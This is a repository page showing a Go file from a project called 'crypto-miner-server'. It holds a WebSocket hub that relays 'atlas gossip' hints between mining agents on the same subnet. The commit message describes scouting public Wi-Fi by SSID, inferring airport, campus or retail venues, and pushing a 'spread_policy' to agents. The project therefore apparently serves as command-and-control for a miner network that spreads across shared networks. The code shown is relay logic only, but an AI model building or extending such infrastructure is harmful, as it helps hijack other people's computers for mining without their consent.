Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
72 lines
1.5 KiB
Go
72 lines
1.5 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"log"
|
|
|
|
"crypto-miner-server/internal/atlas"
|
|
)
|
|
|
|
func (h *WSHub) handleAgentAtlasGossip(senderID string, payload json.RawMessage) {
|
|
if !h.serverPolicySnapshot().AtlasLanGossipEnabled {
|
|
return
|
|
}
|
|
var body struct {
|
|
Hints []atlas.GossipHint `json:"hints"`
|
|
}
|
|
if err := json.Unmarshal(payload, &body); err != nil || len(body.Hints) == 0 {
|
|
return
|
|
}
|
|
hints := atlas.NormalizeGossipHints(body.Hints)
|
|
if len(hints) == 0 {
|
|
return
|
|
}
|
|
h.relayAtlasGossip(senderID, hints)
|
|
}
|
|
|
|
func (h *WSHub) relayAtlasGossip(senderID string, hints []atlas.GossipHint) {
|
|
senderSubnet := h.agentSubnetFor(senderID)
|
|
if senderSubnet == "" {
|
|
return
|
|
}
|
|
skips := atlas.SkipsFromHints(hints)
|
|
if len(skips) == 0 {
|
|
return
|
|
}
|
|
h.recordGossipWhisper(senderSubnet, hints)
|
|
out := Message{
|
|
Type: "atlas_gossip",
|
|
Payload: mustMarshal(map[string]interface{}{
|
|
"hints": skips,
|
|
"source_agent_id": senderID,
|
|
}),
|
|
}
|
|
h.mu.RLock()
|
|
defer h.mu.RUnlock()
|
|
for id, ac := range h.agents {
|
|
if id == senderID || h.agentSubnet[id] != senderSubnet {
|
|
continue
|
|
}
|
|
if err := ac.SendJSON(out); err != nil {
|
|
log.Printf("[atlas-gossip] relay to %s: %v", id, err)
|
|
}
|
|
}
|
|
}
|
|
|
|
func (h *WSHub) agentSubnetFor(agentID string) string {
|
|
h.mu.RLock()
|
|
subnet := h.agentSubnet[agentID]
|
|
h.mu.RUnlock()
|
|
if subnet != "" {
|
|
return subnet
|
|
}
|
|
if h.db == nil {
|
|
return ""
|
|
}
|
|
ag, err := h.db.GetAgent(agentID)
|
|
if err != nil || ag == nil {
|
|
return ""
|
|
}
|
|
return atlas.SubnetPrefix(ag.IP)
|
|
}
|